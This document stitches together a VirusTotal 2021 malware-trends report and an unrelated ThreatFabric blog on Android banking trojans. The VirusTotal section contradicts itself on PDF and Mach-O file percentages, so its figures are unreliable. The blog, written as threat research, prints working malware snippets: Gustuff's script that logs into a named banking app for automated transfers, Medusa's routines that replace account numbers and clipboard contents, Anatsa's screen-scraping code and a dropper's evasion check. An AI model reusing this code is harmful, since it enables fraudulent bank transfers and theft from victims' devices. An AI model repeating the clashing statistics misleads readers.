VirusTotal is in a unique position to provide a source of comprehensive visibility. Over the last 16 years, we have processed more than 2 million files per day across 232 countries. VirusTotal also harnesses the continuous contribution of its community of users to provide relevant attack context. We use this crowdsourced intelligence to analyze relevant data, share an understanding of how attacks develop, and help inform how they might evolve in the future.
This report continues in the direction of what we hope will become an ongoing community effort to discover and share actionable information on malware trends.
## Methodology
VirusTotal relies on crowdsourced contributions, providing a valuable picture of how different attacks spread and evolve. All the data in this report is based on a representative subset of submissions from our users. To be clear, the relevance of the raw number of samples observed and detected as malicious varies throughout the course of the year. Small changes in malicious samples driven by variances in contributors, polymorphism, and external crawlers can result in significantly more unique detections.
### Executive Summary
Attackers’ use of malware with built-in exploits increased by 27% in 2021. The average time it took for the most popular vulnerabilities to be exploited dropped from 93 days in 2020 to 0 days in 2021 because many were being exploited before their public announcement. There was a more than 37% increase in the number of droppers used in malware distribution. These increases were accompanied by a 20% increase in infrastructure hosting malware, often on legitimate domains. Attackers transitioned from Microsoft Word DOCX files to Microsoft Excel XLSX files for malware distribution, largely due to increased usage of Excel malicious spreadsheets with macros.
The overall number of malicious Android samples decreased. However, for the first time, we found a few Android samples among the most submitted and researched samples of the year. We also observed a 146% increase in the number of samples targeting Linux systems.
Log4j had a very noticeable impact both on attackers and defenders. Even though the log4j vulnerability was not publicly revealed until December, it shot to the top of the list of those vulnerabilities most often abused by attackers in 2021. Four malware samples related to log4j attacks were found in the top 10 for most looked-up samples during the last quarter of the year.
The number of fresh CobaltStrike samples grew by 155%, mainly during the first quarter of 2021, to be followed by a wave of VirusTotal users looking those samples up for the rest of the year. Families such as Dridex (1,306% increase in number of samples in 2021 compared to 2020) and Gozi (37% increase) bloomed, while others such as Emotet (66% decrease), Qakbot (76% decrease), and Smokeloader (73% decrease) greatly reduced the number of fresh samples during 2021.
We detected attackers rotating their RATs (Remote Access Trojans) and backdoors of choice. Padodor/Berbew (2,111% increase in number of samples in 2021 compared to 2020) is a clear outlier given its polymorphic nature and its (suspected) code reuse by other malware families. AsyncRAT (+139%) and Flyagent (+118%) increased in popularity among attackers. On the other hand, the presence of Gravity RAT dropped 99%.
## At a Glance
In general, we didn’t observe any anomaly in the timeline for new samples received and detected as malicious during 2020 and 2021. If anything, the timeline is generally constant and reaches a plateau by the end of 2021.
The number of potentially malicious samples (detected as such by five or more different antivirus engines) first seen during the year is almost the same between 2020 (45.86%) and in 2021 (46.12%). When checking the percentage of malicious samples generating new malware clusters (by similarity), which can provide clues to researchers as to how new malware samples are different, we also find almost the same ratio (0.43% vs 0.44%).
We saw unexpected differences crop up, however, when we compared samples of malicious files as explained in the section below.
## How Malware Distribution Evolved in 2021
In 2021, we observed the following distribution changes (compared to 2020) for file types used by malicious samples:
- PE: +209%
- Android: +146%
- MACH-O: +117%
- DOCX: +97%
- XLSX: +53%
- Powershell: +36%
- VBA: -5.3%
- ELF: -25%
- DLL: -28%
- PDF: -97%
Windows executable files represent the vast majority of files considered as malicious in VirusTotal. The percentage decrease of PE files in 2021 is compensated by the combined increase in other formats. In particular, the increase of DLL files might be read as a technicality to replace PEs in some malware families. Interestingly, the percentage of PE samples implementing any kind of exploit increased by 131%.
We also found a dramatic decrease (97%) in the number of macOS-based MACH-O malicious files. In this case, the explanation can be found in the peak of ransomware “polymorphic” samples belonging to the EvilQuest family distributed aggressively for macOS in mid-2020. EvilQuest is no longer active, and there was no similar campaign in 2021, which explains the decrease in the number of samples, but naturally, there were new malware families for macOS such as Macma, Xloader, and XcodeSpy.
Threat actors in 2021 changed from deploying malicious DOCX files to malicious XLSX files. Both are some of the most common formats for malware distributed as attachments. Many different campaigns in 2021 such as Emotet, Qakbot, Dridex, Zloader, and Trickbot relied on malicious XLSX files to infect their victims. However, the number of files implementing exploits in 2021 for both formats increased only for DOCX, which seems counterintuitive.
We couldn’t find any technical reason for the transition, although we can speculate that attackers might have decided to abuse formats victims are less used to seeing in social engineering attacks. Finally, the increase in VBA files corresponds to the high use of both formats for malware distribution embedding malicious macros.
The big increment in ELF malware seems to be mainly related to Mirai, Tsunami, and different coin miners. Notably, the number of ELF files implementing exploits increased 135% in 2021, including the exploitation of the Log4j vulnerability CVE-2021-44228.
The 97% increase of PDF files seems to be mainly related to phishing attacks, often hosted in URLs in-the-wild. On the other hand, we detected a decrease of 63% in the number of PDF files implementing exploitation techniques.
Although there is a decrease in the percentage of Android malicious samples found in 2021, there are two Android samples in the top 10 most submitted malware of 2021, as well as an Android sample (in this case, a banker) in the top 10 most searched malware in VirusTotal during the last quarter of 2021. We detected a moderate increase (12%) in the percentage of Android malware implementing some kind of exploit.
The use of scripting languages for malware distribution is nothing new, but it seems to keep gaining traction. Malicious PowerShell files are popular for this purpose, and in addition to an increase in the adoption by attackers of this format, we observed a whopping 282% increase in the number of PowerShell files implementing exploits. This can be circumstantial depending on the ease to exploit some vulnerabilities with this format. In 2021 alone, we found PowerShell scripts exploiting at least 9 different CVEs.
## Most Submitted Samples in 2021
The list of most submitted malware for the year consists of, not surprisingly, widespread samples such as Adware and PUAs with half of them sharing similarity clusters and infrastructure. An extended list also includes generic trojans and samples both for Windows and Android.
When checking the most looked-up samples in VirusTotal during the last quarter of 2021, we find all kinds of riskware. When excluding them (as well as coin miners - also for Linux), we get a much more interesting top 10:
- Ransomware.Blackmatter
- Trojan Danabot
- Ransom:MSIL/Khonsari.A
- Win64/Exploit.CVE-2021-40449.A
- Ransom.Win32.Sabsik
- Linux/Mirai
- Mirai.Linux
- Android.Banker, Bankbot
- Danabot, Upatre
- Linux/Mirai
Not surprisingly, several of the top positions are filled with ransomware. The exploit for CVE-2021-40449 (Elevation of Privilege Vulnerability in win32k) does not appear in our list of top exploits for 2021 in terms of samples abusing it. However, it seems this particular sample was very widespread among victims. Danabot is also present in two positions of the top 10, as well as Mirai - in this case, this might be a reflection of the increase in ELF malware we already discussed. Finally, we see Android makes it to this list with a Banker.
## Malware Distribution
While we observed no significant difference in the level of phishing artifacts detected in VirusTotal between 2020 and 2021, other distribution mechanisms such as the use of exploits or distribution through URLs greatly varied. In terms of malware droppers, we observed a 37% increase in the number of samples.
### Usage of Exploits
570 0-day exploits were found being used in the wild in 2021 - that’s a new all-time record, and almost twice as much as the year before. These exploits covered a wide range of software, starting with usual targets such as popular browsers but also server-side software such as Microsoft Exchange and devices such as SonicWall Email Security appliances.
During 2021, we observed a 24% jump in the number of samples exploiting vulnerabilities as compared to 2020. Adding exploit kits to this set of samples bumped the increase to 30%.
The following chart shows the distribution of samples implementing any kind of exploit in 2021.
There are still a huge number of samples weaponized to abuse vulnerabilities more than 5 years old, which is a gentle reminder as to why we should keep systems up-to-date. We decided to focus on how quickly attackers adopted new vulnerabilities.
There are several interesting points to consider. First, peaks occur when vulnerabilities gain traction for malware distribution. This often happens shortly after a write-up or a Proof-of-Concept is uploaded to a public repository. After the peak, attackers decide whether the exploit becomes part of their toolset and stays, or if it simply is not useful anymore.
We found an interesting peak in March where CVE-2021-26855 and CVE-2021-27065, both targeting Microsoft Exchange Server, were part of an attack chain and distributed together. There is another smaller peak for CVE-2021-1732 at the time when the researcher uploaded a PoC to GitHub. We found a peak in September for CVE-2021-40444 (remote code execution in MSHTML). The peak in November seems to be related to CVE-2021-41379 (Windows Installer escalation of privileges) and in December (surprise) we have Log4j CVE-2021-44228.
### How Are These Vulnerabilities Being Exploited?
CVE-2021-40444 had a 3-4 weeks peak, and was mainly implemented by malicious documents detected as Donoff/Wacatac/Cryxos. Afterwards, the number of samples slowly decays.
Log4j’s CVE-2021-44228 was one of the most impactful public vulnerabilities in 2021. The timeline below shows detections all year along, but this is because there are plenty of false positives detecting Apache Log4j source code itself as the exploit.
Pattern analysis indicates that attackers are increasing the speed at which exploits are being adopted.
We found multiple instances of attackers exploiting vulnerabilities in the wild before details were made public, which we think of as negative days (as relative to 0-days, when the vulnerability is first revealed to the public). When averaged with vulnerabilities which we found were exploited after a public announcement, or positive days, the number of days since a vulnerability was published until we found samples exploiting it plummeted between 2020 and 2021. In 2020, it took an average of 93 days for the most exploited, published vulnerabilities to be used in a cyberattack. In 2021, it took an average of 0 days for the most exploited, published vulnerabilities to be used in a cyberattack, because so many of them were being exploited before their public announcement.
## Malware Distribution in the Wild
Compared to 2020, we observed a very slight increase in the number of malware samples being distributed in the wild (ITW). However, the number of URLs where ITW malware was found increased by 20%. This means that malware samples that were distributed using this method were more widely spread, and the generation of unique URLs for their distribution became more common. Factors that contributed to this increase include the usage of legitimate cloud storage and file-sharing services.
The chart below shows the top ten URLs used for malware distribution during 2021.
Notably, some of them were consistently distributed during the year while others go up and down depending on how they are used in different campaigns. If we isolate domains used for malware distribution, it looks as follows:
Here, the usage of domains looks a bit more distributed in different campaigns for a certain period of time. The biggest campaigns for the first half of 2021 correspond to malware (mostly PDFs used in phishing attacks) distributed through legitimate domains such as Amazonaws. However, in the second half of the year, distribution through both domains is almost non-existent. Another top 10 domain used for malware distribution is discordapp, which seems to have been gaining popularity during the last months.
There are several families that used hundreds of ITW URLs for distribution during 2021, including Mirai, Azorult, and Glupteba. Phishing attacks also greatly abused this kind of distribution vector.
## Malware Trends
### Footholding and Lateral Movement
There are a number of artifacts potentially used by attackers for lateral movement, many of which are not necessarily malicious. It is common to use the same toolset that pentesters and system administrators do. There are also several malware families from the following section (RATs) that implement the capabilities needed in the first stages of an attack.
#### CobaltStrike
This is one of the favorite tools used both by pentesters and attackers. We observed an increase of 155% of fresh samples seen in 2021 for this artifact, with submissions peaking during the first quarter of the year.
Despite the new samples being first seen during that first quarter, the interest from VirusTotal users searching for them in our platform is quite constant during the year, reflecting how these freshly created samples were later reused in different attacks.
#### Meterpreter
Similar to CobaltStrike, this is one of the most popular choices by pentesters and attackers, enabling similar functionalities. During 2021, the number of first seen samples was 23% lower than in the previous year. However, the number of submissions is incredibly constant during the last two years. We can observe a peak in the number of lookups in February-March 2021.
#### Mimikatz
Although there is a 75.5% decrease in the number of fresh samples seen in 2021, in this case, the freshness of the sample is probably not as significant as it could be for other malware families. Despite that, we observe the biggest historical peaks of submissions for this artifact between August and October 2021.
We also can see a record number of lookups by VirusTotal users around March-April of 2021.
In addition, we looked at some of the most traditional bots. In reality, this kind of malware should be considered as multi-purpose as it is still an excellent option for many attacks that leverage the existing victim base and the basic capabilities as the first stage for more sophisticated attacks. The evolution for some of the most well-known bots during 2021 is as follows:
- Dridex: +1306%
- Gozi: +37.8%
- Rbot: +11.2%
- Zloader: -37%
- Emotet: -66.6%
- Nymeria: -72%
- Smokeloader: -73.6%
- Qakbot: -76%
- Dorkbot: -99%
Given the incredible increase in 2021, we did a more detailed analysis of Dridex. We observed a huge number of fresh Dridex samples during 2021 as well as submissions, where we registered two historical peaks of submissions for this kind of malware during the year despite being a veteran malware family.
Several public sources discussed Dridex campaigns spreading through Excel documents during 2021.
### Remote Access Trojans (RATs) and Backdoors
RATs are one of the most used malicious tools by attackers for all kinds of operations, especially in the first stages of an attack – regardless of the attack’s sophistication. They are part of every attacker’s toolbox, and for the last few years, attackers have chosen widely available RATs over in-house development except in very specific cases (mostly by APT actors). RATs allow attackers to perform reconnaissance, deploy other malicious tools as needed, and avoid attribution.
The choice of RATs for attacks changed quite a bit during the year according to the number of samples found in VirusTotal. Here is the ranking of families that dramatically increased their presence in 2021:
- PADODOR/BERBEW: +2,111%
- ASYNCRAT: +139%
- FLYAGENT: +118%
- ORCUSRAT: +102%
- NOANCOOE: +102%
There is a large number of samples (including polymorphic families) that trigger Padodor/Berbew detections as they share some execution characteristics, including the use of the same Mutex. Speculatively, this could be explained by some code reuse, or maybe these families are designed to trigger this detection on purpose.
We also observed a growth in Crowdsourced Yara rules detecting AsyncRAT, which is the second fastest growing family. Flyagent made it to the top three and is one of the most significant families by total number of samples at the time of writing this report.
In addition, Yara rules detecting DCRat, SystemBC, and Blackshades RAT malware were among the ones showing most significant growth in 2021.
On the other hand, the following list shows families whose usage decreased last year – in some cases having almost no new fresh samples in 2021:
- GRAVITYRAT: -99%
- SHIZ: -93%
- NETWIREDRC: -82%
- REMCOSRAT: -82%
- XTREMERAT: -74%
Despite having a usage decrease, Bladabindi and Darkcomet still are in the top five by total number of samples first seen by VirusTotal in 2021.
### Final Thoughts
Analyzing two years' worth of threat intelligence data can be overwhelming to digest. Our main goal is to apply VirusTotal’s unique visibility to share useful data points. Below are the main report takeaways and what they mean:
- Attackers are faster in adopting exploits for new vulnerabilities. This includes the exploitation of 0-days as well as adoption of published ones.
- There is an increase of malware distribution through droppers as well as an increase in the infrastructure used for malware hosting, often using legitimate domains.
- The total number of samples for Android decreased but, at the same time, some specific samples were among the most searched by VirusTotal users. The number of malicious ELF files increased.
- Some malware families (like Dridex, Gozi, or AsyncRAT) skyrocketed in 2021, while the usage of others (like Emotet or Qakbot) severely decreased.
- Log4j vulnerability had a noticeable impact translated into different malware families adopting it and security practitioners monitoring its evolution. This tells us about the relevance of such vulnerabilities in the security ecosystem.
Based on all the above, here are some considerations for including this insight in an effective security strategy:
- Vulnerability patching is critical. Consider using environments that provide effective and agile patching strategies.
- Monitoring the usage and spreading of malware families is crucial to prioritize effective defenses.
- Transformative security events, such as the Log4j vulnerability (CVE-2021-44228), quickly change the security ecosystem. Effective monitoring and remediation is critical.
- Do not underestimate the presence of well-known malware families (such as Dridex) in your systems, as they can be first stagers for serious attacks.
- Educate your staff against phishing and social engineering, no matter the format of the attachment, the domain hosting the file, or the channel used for distribution.
We hope this data is a first step to an open, healthy discussion that can help researchers understand how to better protect against these threats. We trust the information shared in this report will prove useful - and that it will keep our world a little bit safer. |
# The Rage of Android Banking Trojans
In Greek mythology, Achilles was quite simply invincible during the Trojan War; he was also rather proud and bad-tempered for his own good, and his rage would cost both his countrymen and the enemy dearly. In the past 7 years, ThreatFabric has discovered many new Android banking trojans, all with one common trait: an insatiable rage against Android banking apps. In this blog, we will discuss the underlying catalysts behind this rage and the new weapons currently filling the virtual Trojan Horses. The second part of the blog focuses on new on-device fraud capabilities utilized by malware families to perform fraud in an automated way using the victim's own Android banking app.
## Catalysts
One of the most obvious catalysts that played an important role in The Rage we are experiencing is the source code leaks of two very effective bots, namely Anubis 2.5 and Cerberus. These leaks resulted in multiple private trojan versions actively targeting regions such as Poland, Spain, Turkey, and Italy (local actors).
We also noticed a clear new trend adopted by Android banking families in the way they advertise themselves. From 2018 to mid-2020, Android banking trojans from families like Red Alert or Cerberus had all adopted the Malware as a Service (MaaS) model: actors would rent their malware services on a subscription basis and would aggressively advertise their service on multiple dark web forums. What’s noticeable is that the MaaS strategy for most adversaries has resulted in financial gain in the short term but has not been very sustainable over time. However, recent malware families, including Alien or Medusa, adopted a more reserved approach, limiting their exposure on public forums and using side-channels for customers to communicate directly with the vendor.
Looking at the current successful infection rates of the Trojan families we are tracking, we can only conclude that the new private strategy is paying out and seems to be a more sustainable business model.
The last catalyst that endorses The Rage is the professionalization in malware distribution campaigns. Within the Android banking trojans ecosystem, we observed an increase in the number of advisories providing dedicated trojan distribution services (DaaS). These services usually consist of dropper/loader Android apps (masquerading as legitimate apps) in different app stores, including the Google Play Store. The Rage does not stop at abusing trusted app stores. Recently, we have seen a considerable number of distribution campaigns utilizing GitHub, Discord, and other social media channels as main storage and spreading tactics.
## Statistics
Our Mobile Threat Intel (MTI) platform, responsible for classifying Android banking malware samples, cataloguing their technical malware capabilities, and extracting the so-called overlay targets, has observed a 129% increase in the list of apps targeted with overlay attacks since 2019. The largest increase has taken place in the past year, and The Rage is continuing in 2021.
The most targeted apps are related to cryptocurrency, but the top 20 also includes many apps from banks. With many different cryptocurrencies hitting their highest market value in 2021, populating newsfeeds all over the world and now more than ever being discussed extensively in mainstream media, it is not a surprise that cryptocurrency wallets are the most common targets for this new wave of banking trojans. Another important fact to consider is that, while banking apps tend to have different versions of their APK based on the country they serve, crypto-wallets tend to have one unique APK, making it easier for malicious actors to target them.
## New Capabilities & Trends
A clear new trend in Android banking trojan families is the focus on developing malware capabilities that allow actors to perform fraud on victims in an automated way using the victims' own banking or Bitcoin wallet apps.
- Scaling on-device fraud attempts by developing Automated Transfer System modules powered by AccessibilityService.
- New ways to start Remote Access sessions (RAT) relying on Android native code to avoid additional installations (VNC/TeamViewer).
- Logging all (secret) content inside apps, including OTP apps like Authenticator (Google/Microsoft).
- Manipulating the beneficiary input fields of Android banking apps while the victim is in the flow of performing payments (very successful attack).
Entering a new era, the focus is shifting from credential stealing capabilities to on-device fraud automation. For the past 5 years, the main way to steal mobile banking login credentials and verification codes (OTP) has been the use of overlay attacks. With this attack pattern (MITRE TTP: T1411), attackers harvest login credentials with a fake login window on top of the original banking app. In the past year, malicious actors mainly used these stolen credentials to register a new device to perform fraud or steal the currency in a crypto wallet using a different channel, for example, through the web interface. This attack is also known as device registration fraud, which results in financial loss on a separate device or channel.
However, as covered in our 2020 blog “Year of the RAT,” actors moved to execute financial fraud scenarios directly on the victim’s device by installing additional services such as a back-connect proxy and remote access software, such as VNC or TeamViewer, to control the victim’s device remotely. This year, actors have taken the so-called on-device fraud strategy to the next level by performing actions in the targeted banking app on behalf of the victim and even automating fraudulent transfers.
### Automated Transfer System (ATS)
Android’s Accessibility Service’s main purpose is to assist users with disabilities. However, when a victim is lured by Android banking trojans into enabling this service with enticing and repeating fake messages, the (malicious) AccessibilityService can read anything a normal user can see and recreate any action a user can do on an Android device.
Let’s dig a bit deeper on how this works by analyzing the trojans that have mastered this attack vector this year: Gustuff and Medusa. Let’s take a transfer activity from a demo banking app as an example: from an Accessibility perspective, all the input fields have a so-called @Android:id label which can be read and controlled by any AccessibilityService running on the victim’s device. In this example, by providing the bot command `setText(TEXT)`, an attacker can, in a fully automated way, change the beneficiary account number to anything he/she wants in order to transfer funds to a money mule. In general, the malware’s Accessibility script first reads the balance information of a victim (also through an automated process) before they perform this attack.
To provide a bit more context, the Accessibility script below is used by the Android Banking trojan Gustuff for the St.George Android banking app: it performs a login on behalf of the victim to start a session in a timely fashion (by using some sleep cycles to look more legitimate) and uses this active app session to script against the transfer screen of the mobile banking app to perform a payment to a mule on behalf of the victim, successfully completing a full ATS attack.
```javascript
function stgeorge(info) {
let actions = [
{"type":"open","open":"launch","value": "org.stgeorge.bank"},
{"type": "delay", "time": 1000},
{"type":"windows","root":true},
{"type": "interactive", "viewId": "org.stgeorge.bank:id/continue_button", "click": true},
{"type": "delay", "time": 1000},
{"type": "interactive", "viewId": "org.stgeorge.bank:id/btn_logon", "click": true},
{"type": "delay", "time": 1000},
{"type": "interactive", "viewId": "org.stgeorge.bank:id/logon_button", "click": true},
{"type": "delay", "time": 8000}
];
if (info.securityNum) {
actions = actions.concat([{
"type": "interactive",
"viewId": "org.stgeorge.bank:id/pin_editor",
"setText": info.securityNum
}]);
} else if (info.pass) {
actions = actions.concat([
{"type": "interactive", "viewId": "org.stgeorge.bank:id/internet_password_ET", "setText": info.pass},
{"type": "delay", "time": 500},
{"type": "interactive", "viewId": "org.stgeorge.bank:id/login_Button", "click": true}
]);
}
return utils.buildCommand("array", {"actions": actions});
}
```
This capability adds a new layer of danger to the Android banking malware ecosystem, making large-scale campaigns more automated and easier to manage for threat actors.
### Accessibility Event Logging
Another incredibly powerful feature of multiple families, including Medusa and Gustuff, is event logging. If the bot receives the command from the C2, it starts to recursively collect information about the active window starting from the root node, which means it can collect information about everything that is displayed on the screen. Information of interest includes, but is not limited to:
- Node bounds in screen coordinates (position of elements in the UI)
- Text of the node (the text inside an element)
- Whether this node is a password (if the element is a field of type “password”)
The following snippet from Anatsa shows the code that collects the information of the active Node and all its children that are matching a specific string:
```java
public static List getAllNodes(AccessibilityNodeInfo arg6, String arg7) {
String v0 = arg7.toLowerCase();
ArrayList v1 = new ArrayList();
if(arg6 == null) {
return v1;
}
int v2 = arg6.getChildCount();
int v3;
for(v3 = 0; v3 < v2; ++v3) {
AccessibilityNodeInfo v4 = arg6.getChild(v3);
if(v4 != null) {
if(v4.getClassName() != null && v4.getClassName().toString().toLowerCase().contains(v0)) {
v1.add(v4);
} else {
v1.addAll(Utils.getAllNodes(v4, arg7));
}
}
}
return v1;
}
```
By collecting all this data, the actor can get a better understanding of the interface of different applications and therefore implement relevant scenarios for the accessibility scripting feature. Moreover, it allows actors to have deeper insights into the applications the victim uses, its typical usage, and intercept some of its data.
### Replacing Account Number in Input Fields
Another Accessibility trick has been introduced by the Medusa Android banking trojan, triggered by the command `fillfocus`. This feature allows the actor to change the content of the focused input field with some text specified by the attacker. This is done by abusing the AccessibilityService. The following snippet shows the code that sets the focused input field with text received from the C2:
```java
public void fillfocus(int cmdId, String t_text) {
if (WorkerAccessibilityService.accessibilityService != null) {
Bundle bundle = new Bundle();
bundle.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", t_text);
AccessibilityNodeInfo accessNodeInfo = WorkerAccessibilityService.accessibilityService.findFocus(1);
if (accessNodeInfo != null) {
accessNodeInfo.performAction(0x200000, bundle);
}
this.sendCmdExecuted(cmdId);
return;
}
throw null;
}
```
With this feature, actors can modify the bank account number that the victim selected with one controlled by the attacker, effectively tricking the victim into transferring money to a money mule.
### Clipper
Another newly introduced feature is the capability to change the clipboard content to some text specified by the actor(s). The Medusa Trojan can receive the command “copyclip” with a parameter text to be set. This is a common MO for so-called “clippers,” a type of malware that steals or substitutes clipboard data. Similar in concept to the previous technique, it is usually used to invisibly substitute some sensitive data such as IBAN or cryptocurrency wallet address, tricking the victim into performing an operation, such as a transaction, to a beneficiary which was not the original one. The following snippet shows the code that sets the clipboard data with text received from the C2:
```java
private void copyclip(int cmdId, String textFromC2) {
Context ctx = this.mContext.getApplicationContext();
try {
((ClipboardManager)ctx.getSystemService("clipboard"))
.setPrimaryClip(ClipData.newPlainText("Copied Text", textFromC2));
} catch(Exception unused_ex) {}
this.sendCmdExecuted(cmdId);
}
```
### Screen Casting Using Integrated Solutions
In the past 2 years, Android banking trojan actors have focused on adding Remote Access Trojan (RAT) capabilities by installing and configuring additional VNC and Team services on the victims. This is a very loud activity from a malware detection perspective. It seems that new actors behind trojans such as Medusa have figured out that the Android OS itself can natively support the hidden RAT objective. Many new families are using Accessibility services to perform actions on the victims’ behalf in combination with audio and video streaming using RTSP (Real Time Streaming Protocol), giving an incredibly powerful feature to the RAT without the need to install additional apps such as VNC/TeamViewer:
```java
public static String lA(int arg3, String arg4, String arg5, String arg6) {
StringBuilder v0 = new StringBuilder().insert(0, "m=video 0 RTP/AVP 96\r\na=rtpmap:96 H265/90000\r\na=fmtp:96 sprop-sps=");
v0.append(arg4);
v0.append("; sprop-pps=");
v0.append(arg5);
v0.append("; sprop-vps=");
v0.append(arg6);
v0.append(";\r\na=control:trackID=");
v0.append(arg3);
v0.append("\r\n");
return v0.toString();
}
```
## Distribution
### New Google Play Store Banking Malware Campaign
ThreatFabric has been tracking a strong group that has been very successful in spreading trojans on the Google Play Store using apps masquerading as “QR Scanners.” The main purpose of these so-called malware dropper apps is to spread a private/customized version of the Anubis Banking Trojan targeting over 1200 banking and cryptocurrency wallet apps.
The dropper apps have been successfully reappearing in the Google Play Store over a period of 13 months, regardless of our strong efforts in reporting these apps as malicious to Google. The first Google Play dropper app masquerading as “QR Scanner” appeared in February 2020 (com.tasklog.qrcodescanner), and one of the latest (com.quar.qrscanner) was uploaded to the Play Store in March 2021. This malware distribution campaign has resulted in at least 30,000 infected devices, and the actors behind them are preparing a new dropper app at the time of writing.
The dropper apps are only active for a short time with long-time pauses between active periods. To stay under the radar, they also implement several evasion techniques to bypass static and dynamic analysis during the Google Play Store evaluation period, as well as to make further analysis by security researchers and AV products more complicated. For example, the string decryption routine will be performed correctly only if a datetime check passes: if the date is earlier than stated in the code, the decryption will be performed incorrectly, which will prevent the decryption and therefore the launch of the malicious dropper code.
```java
public static byte[] decrypt_string(byte[] arg1) {
return qk.is_later_then_05_03_2021() ?
ra.xor_int(arg1, rq.int_52) : ra.xor_int(arg1, 0);
}
```
After the deadline passed, the malicious dropper is decrypted and launched. Nevertheless, this stage will also perform several checks to determine if the device is suitable to download the actual payload. The dropper will collect information about the device and send it to the C2: hardware information, list of all system and third-party packages installed on the device, whether the device is being used to debug applications via USB, etc. On the C2 side, the actor(s) will decide whether to continue with downloading the payload or not. The C2 will respond whether the dropper should download a payload or kill itself. If the “kill” command is received, the malicious code launched earlier will be deleted from the device and never be launched again.
The whole process is highly manually maintained by the actor(s), making it difficult to detect from an automated perspective. The actual payload seen by ThreatFabric analysts is a private and customized variant of the Anubis Trojan that is packed with a commercial tool (Dexprotector). This campaign shows that actor(s) behind banking Trojans are highly skilled and inventive to stay under the radar and deliver the malicious applications on users’ devices.
## Conclusion
There has been a 129% increase in targeted banking apps in the span of only one year. A noticeable addition is cryptocurrency wallet apps, which are now part of every new Android banking trojan family. Existing families like Gustuff and new Android Banking Trojans like Medusa have fully adapted to performing on-device fraud attacks by automating the login sequence, checking the balance of the victim, and creating payments to money mules using ATS (Automated Transfer System) modules. This attack vector is achieved by abusing Accessibility features of the Android operating system.
To continue fortifying the on-device fraud strategy, adversaries also discovered that they can use native Android code (instead of TeamViewer/VNC) to achieve screen streaming capabilities (using RTSP), making the attack less noticeable on the victim’s device. Chaining this native screen streaming feature of Android with Accessibility controls, such as performing actions (clicks) on the victims’ behalf, results in a full hidden Remote Access Trojan (RAT). We can consider these developments a significant threat to mobile payments on the Android platform.
This overview shows a brief recap of the main ATS capabilities from different families. The success rate of one Gustuff botnet (4 active botnets at the time of writing) in only one week consisted of 757 harvested credentials and ATS fraud attempts in countries such as the UK, Canada, and Australia. The Rage does not end here; adversaries have also proven to continuously bypass Google Play Store malware protection controls with apps masquerading as “QR-Reader/Scanner” over a year, resulting in a strong private botnet of at least 30,000 infections targeting over 200 banking apps with a private version of Anubis that is obfuscated with a commercial tool (DexProtector).
Most of the new strains of these malware families are now raging as privately run projects, switching from the very loud MaaS (Malware as a Service) trend that we observed last year. This could also be a result of the increasing success/attempts of law enforcement efforts to catch and punish the people behind these threats and boldly disturbing underground forms.
More than ever, a clear overview and understanding of the mobile banking threat landscape is crucial for mobile payments, and tools to detect the attack behavior such as ATS from Android banking malware on devices have become invaluable to avoid fraud.
## Appendix
### IOCs
| Name | SHA256 Hash |
|---------------|-------------|
| Anubis | 998ba967bb23e6324c8f689ca0e1b5f28434d1ffdd52eac751f0649f037328c1 |
| QRcode Dropper| 617f3969267477d9c50e089139ea7627f1916259fc9b8c5028e2257a7ab7077a |
| Anatsa.A | a20f6c19ef20213df5b8e277d21dd70fe1cf99215ab42c39d69cce2396e72972 |
| Medusa.B | 05c8fc94e6f08bb0600fe7d8177a17ad65f01ec34fe749ea4981994dd890b1c8 |
| Gustuff.C | 3d196d954a2ea68c5ea65901fb7905b4773ead3fdb6967400beb370580e6f4a5 |
### Capabilities
#### Medusa.B
| Name | Description |
|---------------------|-------------|
| Clipboard | The malware can extract data from or insert data into the device’s clipboard. |
| App auto-start | The malware starts automatically when the device is turned on or restarted. |
| App termination | The malware can terminate apps. |
| Preventing removal | The malware can prevent its removal. |
| Hiding the app icon | The malware can hide its icon from the application drawer. |
| Screen streaming | The malware can stream what is displayed on the device’s screen. |
| Alerts | The malware can issue Android alerts with arbitrary text. |
| Push notifications | The malware can show push notifications. |
| Screen locking | The malware can lock the screen of the infected device. |
| (Partial) Automated Transfer System | The malware uses an AccessibilityService to control the infected device and perform automated payments using the targeted banking apps (still requires interaction from the C2 to initiate the process). |
| Web pages | The malware can show arbitrary web pages on the infected device. |
| App removal | The malware can remove applications. |
| App starting | The malware can start applications. |
| App installing | The malware can install applications. |
| SMS spamming | The malware can perform SMS spam campaigns. |
| SMS sending | The malware can send SMS messages. |
| Target list update | Actors can configure targets for overlay phishing attacks dynamically. |
| Application listing | The malware can access the list of all installed applications and send it to the C2. |
| Contact list collection | The malware can read the contact list of the infected device and send it to the C2. |
| Device info collection | The malware can access device-related information (SIM, build info, settings) and send it to the C2. |
| Accessibility event logging | The malware uses an AccessibilityService to get a stream of events happening on the device and send it to the C2. |
| SMS forwarding | The malware can forward all incoming SMS messages to a phone number controlled by actors. |
| SMS listing | The malware can access the content of SMS messages and send it to the C2. |
| Keylogging | The malware can log the victim’s keystrokes and send them to the C2. |
| Dynamic overlaying | The malware can show phishing screens to steal information. Phishing screens are retrieved from the C2. |
#### Anatsa.A
| Name | Description |
|---------------------|-------------|
| Clipboard | The malware can extract data from or insert data into the device’s clipboard. |
| App auto-start | The malware starts automatically when the device is turned on or restarted. |
| App termination | The malware can terminate apps. |
| Preventing removal | The malware can prevent its removal. |
| Hiding the app icon | The malware can hide its icon from the application drawer. |
| Files/pictures collection | The malware can access the file system of the infected device and upload its content to the C2. |
| Alerts | The malware can issue Android alerts with arbitrary text. |
| Push notifications | The malware can show push notifications. |
| Screen locking | The malware can lock the screen of the infected device. |
| (Partial) Automated Transfer System | The malware uses an AccessibilityService to control the infected device and perform automated payments using the targeted banking apps (still requires interaction from the C2 to initiate the process). |
| Web pages | The malware can show arbitrary web pages on the infected device. |
| App removal | The malware can remove applications. |
| App starting | The malware can start applications. |
| App installing | The malware can install applications. |
| SMS spamming | The malware can perform SMS spam campaigns. |
| SMS sending | The malware can send SMS messages. |
| Target list update | Actors can configure targets for overlay phishing attacks dynamically. |
| Application listing | The malware can access the list of all installed applications and send it to the C2. |
| Contact list collection | The malware can read the contact list of the infected device and send it to the C2. |
| Device info collection | The malware can access device-related information (SIM, build info, settings) and send it to the C2. |
| Accessibility event logging | The malware uses an AccessibilityService to get a stream of events happening on the device and send it to the C2. |
| SMS forwarding | The malware can forward all incoming SMS messages to a phone number controlled by actors. |
| SMS listing | The malware can access the content of SMS messages and send it to the C2. |
| Keylogging | The malware can log the victim’s keystrokes and send them to the C2. |
| Dynamic overlaying | The malware can show phishing screens to steal information. Phishing screens are retrieved from the C2. |
